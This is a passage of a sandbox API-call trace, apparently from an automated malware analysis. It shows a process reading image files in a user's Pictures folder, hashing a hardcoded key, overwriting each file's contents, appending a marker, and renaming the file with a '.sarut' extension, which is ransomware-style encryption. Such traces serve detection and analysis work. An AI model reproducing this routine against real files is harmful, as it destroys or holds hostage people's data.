phHash=0x387fa9c) returned 1 [0271.921] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.921] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.921] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0271.921] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.921] GetLastError () returned 0x0 [0271.921] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.921] CryptReleaseContext (hProv=0x2fa5280, dwFlags=0x0) returned 1 [0271.921] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0271.921] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x5d10) returned 0x311d708 [0271.921] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0271.921] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0271.921] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x5d07, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x5d07, lpOverlapped=0x0) returned 1 [0271.921] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.921] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5d0c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.921] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1928 [0271.922] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0271.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0271.922] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x71eaa8 [0271.922] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0271.922] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1928 | out: hHeap=0x640000) returned 1 [0271.922] WriteFile (in: hFile=0x5c4, lpBuffer=0x71eaa8*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x71eaa8*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0271.922] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x71eaa8 | out: hHeap=0x640000) returned 1 [0271.922] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.922] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.922] CloseHandle (hObject=0x5c4) returned 1 [0271.924] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0271.924] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8b0) returned 0x311d708 [0271.924] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0271.924] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\GbnfrHoOCWV\\3LXSiPCs.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\gbnfrhoocwv\\3lxsipcs.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\GbnfrHoOCWV\\3LXSiPCs.bmp.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\gbnfrhoocwv\\3lxsipcs.bmp.sarut")) returned 1 [0271.925] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.925] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0271.926] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x300f168 | out: hHeap=0x640000) returned 1 [0271.926] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf407f2b0, ftCreationTime.dwHighDateTime=0x1d4d36b, ftLastAccessTime.dwLowDateTime=0xb9e5a1d0, ftLastAccessTime.dwHighDateTime=0x1d4c78c, ftLastWriteTime.dwLowDateTime=0xb9e5a1d0, ftLastWriteTime.dwHighDateTime=0x1d4c78c, nFileSizeHigh=0x0, nFileSizeLow=0xce73, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="arfQt1VvAj.bmp", cAlternateFileName="ARFQT1~1.BMP")) returned 1 [0271.926] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x72ea40 [0271.926] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xd6) returned 0x300f168 [0271.926] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x72ea40 | out: hHeap=0x640000) returned 1 [0271.926] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\GbnfrHoOCWV\\arfQt1VvAj.bmp") returned=".bmp" [0271.926] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\GbnfrHoOCWV\\arfQt1VvAj.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\gbnfrhoocwv\\arfqt1vvaj.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.927] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=52851) returned 1 [0271.928] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.930] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xce4d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.930] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.932] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0271.932] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0271.932] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0271.932] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xce73, lpOverlapped=0x0) returned 1 [0271.936] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.936] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0271.936] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.936] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.936] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5280) returned 1 [0271.937] CryptCreateHash (in: hProv=0x2fa5280, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.937] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.937] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.937] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0271.937] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.937] GetLastError () returned 0x0 [0271.937] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.937] CryptReleaseContext (hProv=0x2fa5280, dwFlags=0x0) returned 1 [0271.937] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0271.937] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xce70) returned 0x311d708 [0271.938] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0271.938] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0271.938] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0xce6e, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0xce6e, lpOverlapped=0x0) returned 1 [0271.938] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.938] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xce73, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.938] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1928 [0271.938] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0271.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0271.938] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x71eaa8 [0271.939] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0271.939] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1928 | out: hHeap=0x640000) returned 1 [0271.939] WriteFile (in: hFile=0x5c4, lpBuffer=0x71eaa8*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x71eaa8*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0271.939] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x71eaa8 | out: hHeap=0x640000) returned 1 [0271.939] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.939] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.939] CloseHandle (hObject=0x5c4) returned 1 [0271.946] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0271.946] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8b0) returned 0x311d708 [0271.946] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0271.946] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\GbnfrHoOCWV\\arfQt1VvAj.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\gbnfrhoocwv\\arfqt1vvaj.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\GbnfrHoOCWV\\arfQt1VvAj.bmp.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\gbnfrhoocwv\\arfqt1vvaj.bmp.sarut")) returned 1 [0271.947] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.947] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0271.948] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x300f168 | out: hHeap=0x640000) returned 1 [0271.948] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7376960, ftCreationTime.dwHighDateTime=0x1d4c85e, ftLastAccessTime.dwLowDateTime=0xc0691c30, ftLastAccessTime.dwHighDateTime=0x1d4cf34, ftLastWriteTime.dwLowDateTime=0xc0691c30, ftLastWriteTime.dwHighDateTime=0x1d4cf34, nFileSizeHigh=0x0, nFileSizeLow=0x77b7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mdD0aXVF0dK25EdF.bmp", cAlternateFileName="MDD0AX~1.BMP")) returned 1 [0271.949] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x72ea40 [0271.949] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xd6) returned 0x300f168 [0271.949] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x72ea40 | out: hHeap=0x640000) returned 1 [0271.949] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\GbnfrHoOCWV\\mdD0aXVF0dK25EdF.bmp") returned=".bmp" [0271.949] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\GbnfrHoOCWV\\mdD0aXVF0dK25EdF.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\gbnfrhoocwv\\mdd0axvf0dk25edf.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.949] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=30647) returned 1 [0271.949] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.952] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x7791, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.952] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.954] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0271.954] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0271.954] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0271.954] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x77b7, lpOverlapped=0x0) returned 1 [0271.955] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.955] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0271.955] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.955] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.955] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5280) returned 1 [0271.956] CryptCreateHash (in: hProv=0x2fa5280, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.956] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.956] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.956] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0271.956] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.956] GetLastError () returned 0x0 [0271.956] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.957] CryptReleaseContext (hProv=0x2fa5280, dwFlags=0x0) returned 1 [0271.957] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0271.957] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x77c0) returned 0x311d708 [0271.957] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0271.957] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0271.957] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x77b2, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x77b2, lpOverlapped=0x0) returned 1 [0271.957] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.957] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x77b7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.957] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1928 [0271.957] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0271.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0271.957] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x71eaa8 [0271.957] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0271.958] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1928 | out: hHeap=0x640000) returned 1 [0271.958] WriteFile (in: hFile=0x5c4, lpBuffer=0x71eaa8*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x71eaa8*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0271.958] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x71eaa8 | out: hHeap=0x640000) returned 1 [0271.958] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.958] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.958] CloseHandle (hObject=0x5c4) returned 1 [0271.960] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054690 [0271.960] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8c0) returned 0x311d708 [0271.960] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054690 | out: hHeap=0x640000) returned 1 [0271.960] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\GbnfrHoOCWV\\mdD0aXVF0dK25EdF.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\gbnfrhoocwv\\mdd0axvf0dk25edf.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\GbnfrHoOCWV\\mdD0aXVF0dK25EdF.bmp.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\gbnfrhoocwv\\mdd0axvf0dk25edf.bmp.sarut")) returned 1 [0271.961] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.961] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0271.962] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x300f168 | out: hHeap=0x640000) returned 1 [0271.962] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e45d0, ftCreationTime.dwHighDateTime=0x1d4d09c, ftLastAccessTime.dwLowDateTime=0x8421d950, ftLastAccessTime.dwHighDateTime=0x1d4cb75, ftLastWriteTime.dwLowDateTime=0x8421d950, ftLastWriteTime.dwHighDateTime=0x1d4cb75, nFileSizeHigh=0x0, nFileSizeLow=0x8c78, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NI9HSi svXDo.jpg", cAlternateFileName="NI9HSI~1.JPG")) returned 1 [0271.962] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x72ea40 [0271.962] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xd6) returned 0x300f168 [0271.962] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x72ea40 | out: hHeap=0x640000) returned 1 [0271.962] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\GbnfrHoOCWV\\NI9HSi svXDo.jpg") returned=".jpg" [0271.962] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\GbnfrHoOCWV\\NI9HSi svXDo.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\gbnfrhoocwv\\ni9hsi svxdo.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.963] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=35960) returned 1 [0271.963] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.965] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x8c52, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.965] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.968] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0271.968] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0271.968] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0271.968] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x8c78, lpOverlapped=0x0) returned 1 [0271.969] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.969] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0271.969] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.969] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.969] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5280) returned 1 [0271.970] CryptCreateHash (in: hProv=0x2fa5280, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.970] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.970] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.970] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0271.970] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.970] GetLastError () returned 0x0 [0271.970] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.970] CryptReleaseContext (hProv=0x2fa5280, dwFlags=0x0) returned 1 [0271.970] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0271.970] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8c80) returned 0x311d708 [0271.971] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0271.971] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0271.971] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x8c73, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x8c73, lpOverlapped=0x0) returned 1 [0271.971] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.971] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x8c78, 